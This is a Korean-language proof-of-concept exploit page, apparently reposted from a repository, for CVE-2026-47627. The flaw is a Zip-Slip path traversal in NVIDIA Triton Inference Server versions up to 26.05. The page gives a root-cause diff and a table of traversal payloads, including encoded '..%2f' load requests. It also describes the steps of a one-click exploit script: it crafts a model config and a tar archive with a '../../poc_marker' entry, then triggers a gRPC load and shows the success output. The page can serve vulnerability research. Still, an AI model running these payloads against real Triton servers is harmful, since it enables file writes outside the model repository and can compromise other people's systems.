cve-2026-47627 — # CVE-2026-47627 개념 증명 익스플로잇 NVIDIA Triton Inference Server의 경로 탐색 취약점으로, Zip-Slip을 통해 임의 파일 쓰기로 이어지는 CVE-2026-47627에 대한 개념 증명 익스플로잇입니다. 상세 분석, 실습 환경, 원클릭 익스플로잇 스크립트를 포함합니다. | Kitploit

필드	값
CVE	`CVE-2026-47627`
CNA	`[email protected]`
공개일	`2026-08-18` (NVD 분석 대기 중)
Bulletin	`NV 5865` → `https://github.com/NVIDIA/product-security/tree/main/2026/5865`
CVSS 3.1	`9.8 CRITICAL` `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
CWE	`CWE-22` 경로 탐색
영향 버전	`0.0-26.05` (`server v2.69.0` / `core r26.05`)
수정 버전	`26.06` (`server v2.70.0` / `core r26.06`)
영향	`DoS` (CNA 설명) — 본 연구는 Zip-Slip을 통한 /models 외부 파일 쓰기를 입증하며, 이는 DoS/리소스 고갈로 확장 가능
발견자	Martin Brodeur

사용자 입력 (model_name / tar 항목) ──► join(parent, child) ──► canonicalize ──► "child가 parent 내부인지" 확인 ──► 파일 열기
         │                                    │                     │                         │                     │
         └──► "../tmp/pwn"               /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn    rfind vs find + '/' 확인    FileExists / extract

src/filesystem/api.cc:407 IsChildPathEscapingParentPath — dcb315d + 72f3d9b 수정:

// 취약 (r26.05):
absolute_child.rfind(absolute_parent,0) != 0
// → 부분 일치 버그: "/models" 접두사가 "/models_evil/file"을 내부로 간주

// 수정됨 (r26.06):
canonical_child.find(canonical_parent,0)==0 &&
((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
// → 접두사 뒤에 '/'가 있어야 함, "/models_evil"은 이제 올바르게 외부로 처리

src/backend_model.cc:196 (TRITON_BATCH_STRATEGY_PATH) 및 src/model_repository_manager/model_repository_manager.cc:162 (file:)에서 사용.

src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481 (2026년 3월, 26.05에 이미 포함되었으나 26.06에서 강화):
```
if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
```
이로 인해 26.05에서 gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT (이미 차단됨). 그러나 %2f (인코딩된 /)는 리터럴 /가 아니므로 통과 → 리터럴 폴링으로 500.
python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 테스트 zipslip_test.py: Tar는 .. / 절대 경로 확인 없이 추출됨. /models/poc_exploit/malicious_env.tar.gz의 ../../poc_marker 항목이 /tmp/poc_marker (모델 디렉터리 외부)로 추출됨. 26.06 수정: ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + IsChildPathEscapingParentPath 확인 사용.

벡터	페이로드	26.05 결과	영향?
HTTP 원시 `../`	`POST /v2/repository/models/../tmp/pwn/load`	`404` (라우팅 정규화)	❌
HTTP 인코딩 `..%2f`	`POST /v2/repository/models/..%2ftmp%2fpwn/load`	`500` 리터럴, `/models/..%2ftmp%2fpwn` 폴링 없음	❌ (가짜 500, 탐색 아님)
gRPC 원시 `../tmp/pwn`	`load_model('../tmp/pwn')`	`400 INVALID_ARGUMENT`	❌ (이미 차단됨)
gRPC 인코딩 `..%2f`	`load_model('..%2ftmp%2fpwn')`	`500` 리터럴 폴링	❌
`file:` 오버라이드 `../models_evil`	`file:../models_evil/pwn`	부분 일치에 따라 `400`/`500`	⚠️ (`IsChildPathEscapingParentPath` 버그에 따라 다르지만, `model_name`은 `ValidateModelName`으로 이미 차단)
`EXECUTION_ENV_PATH` tar `../../poc_marker`	`malicious_env.tar.gz` 항목 `../../poc_marker`	`200` + `/tmp/poc_marker` 파일	✅ 취약

echo_python → poc_exploit 복사 (scripts/exploit.py:35)

config.pbtxt 추가 (scripts/exploit.py:40):

parameters: {key: "EXECUTION_ENV_PATH", value: {string_value: "$$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz"}}

tar 생성 (scripts/exploit.py:44):

TarInfo(name='../../poc_marker', size=6, mode=0o644)  # → /tmp/poc_marker
TarInfo(name='bin/activate', mode=0o755)

gRPC load_model('poc_exploit') 트리거 (scripts/exploit.py:60) — explicit 모드이므로 재시작 없음.
docker exec tritonserver-test cat /tmp/poc_marker → pwned 확인 (scripts/exploit.py:81)

py scripts/exploit.py              # explicit 자동 감지 → gRPC
py scripts/exploit.py --keep       # 수동 확인용 아티팩트 유지
# 수동 확인: docker exec tritonserver-test cat /tmp/poc_marker
# 수동 정리: docker exec tritonserver-test rm -f /tmp/poc_marker

py scripts/test_http_grpc_blocked.py  # 이전 저장소에 있었으나 현재 삭제됨 — exploit.py 로그 사용
# 또는 수동:
curl -i -X POST http://127.0.0.1:8000/v2/repository/models/..%2ftmp%2fpwn/load -H "Content-Type: application/json" -d "{}"  # 500
py -3 -c "import tritonclient.grpc as g; g.InferenceServerClient('127.0.0.1:8001').load_model('../tmp/pwn')"  # 400

[*] gRPC 로드를 통한 익스플로잇 트리거 (재시작 없음)...
[+] gRPC 로드 전송됨
[+] 취약: /tmp/poc_marker가 /models 외부에 존재
    cat: pwned
[+] 익스플로잇 성공 — 저장소 외부 파일 쓰기 확인됨

docker exec tritonserver-test ls -l /tmp/poc_marker  # -rw-r--r-- 1 root root 6 ... /tmp/poc_marker
docker exec tritonserver-test cat /tmp/poc_marker   # pwned
docker logs tritonserver-test --tail 20 | grep Extracting  # Extracting Python execution env .../malicious_env.tar.gz

# 26.05 gRPC 원시 ../ → 400 INVALID_ARGUMENT (ValidateModelName으로 이미 차단)
# 26.05 gRPC ..%2f → 500 리터럴 폴링 (검증 우회하지만 실제 탐색 아님)
# 26.06 둘 다 → 400

.
├── model_repository/
│   ├── echo_python/          # python 백엔드 샘플
│   └── identity_onnx/        # onnxruntime 샘플
├── scripts/
│   ├── exploit.py:1          # 주요 PoC (Python, 원클릭, gRPC, 재시작 없음)
│   ├── generate_model.py     # identity_onnx 재생성
│   └── client_test.py        # health + 추론 테스트
├── exploit.ps1:1             # 주요 PoC (PowerShell, 원클릭)
├── docker-compose.yml:12     # 항상 explicit
├── run_triton.bat:10 / .ps1:11 / .sh:12  # 항상 explicit
├── requirements.txt          # numpy, onnx, requests, tritonclient[http,grpc], grpcio, protobuf
└── README.md                 # 본 문서

날짜	이벤트
2026-03-03	`core#472` ValidateModelName
2026-03-16	`core#481` POSIX trim
2026-05-18	`core#497` IsChildPathEscapingParentPath
2026-06-02	`server#8857` zipslip 테스트
2026-06-26	`26.06` / `v2.70.0` 패치 릴리스
2026-08-18	CVE 공개
2026-09-02	이 PoC 저장소가 `26.05-py3`에서 검증됨 → `VULNERABLE`

cve-2026-47627

인기

1. CVE 요약

2. 실험실 환경

3. 취약점 구조

4. 근본 원인 분석 (Diff 26.05 → 26.06)

5. 공격 경로: 실제로 영향받는 경로는?

6. 주요 PoC: EXECUTION_ENV_PATH를 통한 Zip-Slip

7. PoC 실행 방법 (원클릭)

8. 탐색 증거 (가짜 500 아님)

9. DoS 영향

10. 완화 조치

11. 저장소 구조 (정리 후)

12. 참고 자료 및 타임라인

참고